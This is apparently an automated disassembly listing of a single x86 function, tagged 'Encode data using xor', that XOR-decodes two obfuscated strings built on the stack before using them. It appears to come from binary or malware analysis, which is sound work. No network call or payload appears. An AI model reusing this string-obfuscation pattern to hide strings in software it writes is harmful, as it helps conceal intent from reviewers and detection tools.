Function at 0x440d60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x509718
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xe8
push ebx
mov ebx, ecx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x20], 1
push esi
push edi
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebp - 4], 0
mov edi, 1
mov dword [ebp - 0x20], edi
call fcn.0043fbf0
mov edx, eax
test edx, edx
je 0x4411f5
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440dd8
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x58]
call fcn.00402ae0
mov dword [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x1a], 0x9882a6a8
mov dword [ebp - 0x16], 0x9e9d988a
mov word [ebp - 0x12], 0x100
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 8
jb 0x440e08
lea eax, [ebp - 0x1a]
mov byte [ebp - 0x11], 0
push eax
lea ecx, [ebp - 0x58]
call fcn.0046a480
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
lea edx, [ebp - 0x1c]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x58]
call fcn.0043fe30
mov esi, dword [ebp - 0x1c]
cmp esi, dword [ebp - 0x18]
je 0x4411bd
mov ecx, dword [ebp - 0x48]
mov eax, closesocket
sub eax, ecx
cmp eax, 1
jb 0x44120d
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
jb 0x440e74
mov eax, dword [ebp - 0x58]
push 1
push 0x5224ac
push ecx
push eax
push ecx
push dword [ebp - 0x40]
lea ecx, [ebp - 0xd8]
call fcn.004720e0
or edi, 8
mov dword [ebp - 0x20], edi
push esi
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 3
call fcn.0046a4f0
or edi, 0x10
mov dword [ebp - 0x20], edi
mov ecx, dword [eax]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0xa8], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0xa4], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0xa0], ecx
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x9c], ecx
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x98], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x94], ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0xc4]
cmp ecx, 0x10
jb 0x440f35
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x440f2b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x441208
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0xc8], 0
xor eax, eax
mov dword [ebp - 0xc4], 0xf
mov byte [ebp - 0xd8], 0
mov dword [ebp - 0x38], 0x9495b4a8
mov dword [ebp - 0x34], 0x8f948c97
mov dword [ebp - 0x30], 0x9cbfa18f
mov dword [ebp - 0x2c], 0x6d776e63
mov dword [ebp - 0x28], 0x62742b70
mov dword [ebp - 0x24], 0x100396b
lea esp, [esp]
lea ecx, [eax - 0xc]
xor byte [ebp + eax - 0x38], cl
inc eax
cmp eax, 0x16
jb 0x440f80
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x21], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440f97
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x44120d
cmp dword [ebp - 0x60], 0x10
lea eax, [ebp - 0xa8]
jb 0x440fc1
mov eax, dword [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x38]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x40]
lea ecx, [ebp - 0x90]
call fcn.004720e0
or edi, 4
mov dword [ebp - 0x20], edi
xor eax, eax
mov dword [ebp - 0x64], 0xf
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
mov byte [ebp - 0x78], al
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x90]
cmp dword [ebp - 0x7c], 0x10
jb 0x44100e
mov ecx, dword [ebp - 0x90]
lea eax, [ebp - 0xd]
push eax
lea edx, [ebp - 0x78]
call fcn.00440080
sub esp, 0x14
lea eax, [ebp - 0x78]
mov ecx, esp
push eax
call fcn.0046a770
mov dl, byte [ebp - 0xd]
lea ecx, [ebp - 0xc0]
call fcn.004405e0
add esp, 0x18
push esi
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 8
call fcn.0046a770
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0xd8]
call fcn.0046a770
or edi, 2
mov dword [ebp - 0x20], edi
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xf0]
mov ecx, dword [ebx + 4]
push eax
cmp ecx, dword [ebx + 8]
je 0x441083
call fcn.0047e0e0
add dword [ebx + 4], 0x30
jmp 0x44108b
push ecx
mov ecx, ebx
call fcn.00475b90
lea ecx, [ebp - 0xf0]
call fcn.0041e010
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0xac]
cmp ecx, 0x10
jb 0x4410d4
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4410ca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x441208
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
cmp ecx, 0x10
jb 0x441127
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44111d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x441208
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x441162
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x441158
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x441208
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
cmp ecx, 0x10
jb 0x4411b1
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4411a7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x441208
push ecx
push edx
call fcn.004df511
add esp, 8
add esi, 0x18
cmp esi, dword [ebp - 0x18]
jne 0x440e55
lea ecx, [ebp - 0x1c]
call fcn.0046c860
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x4411f5
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4411eb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x441208
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e47b0
call fcn.00402270
int3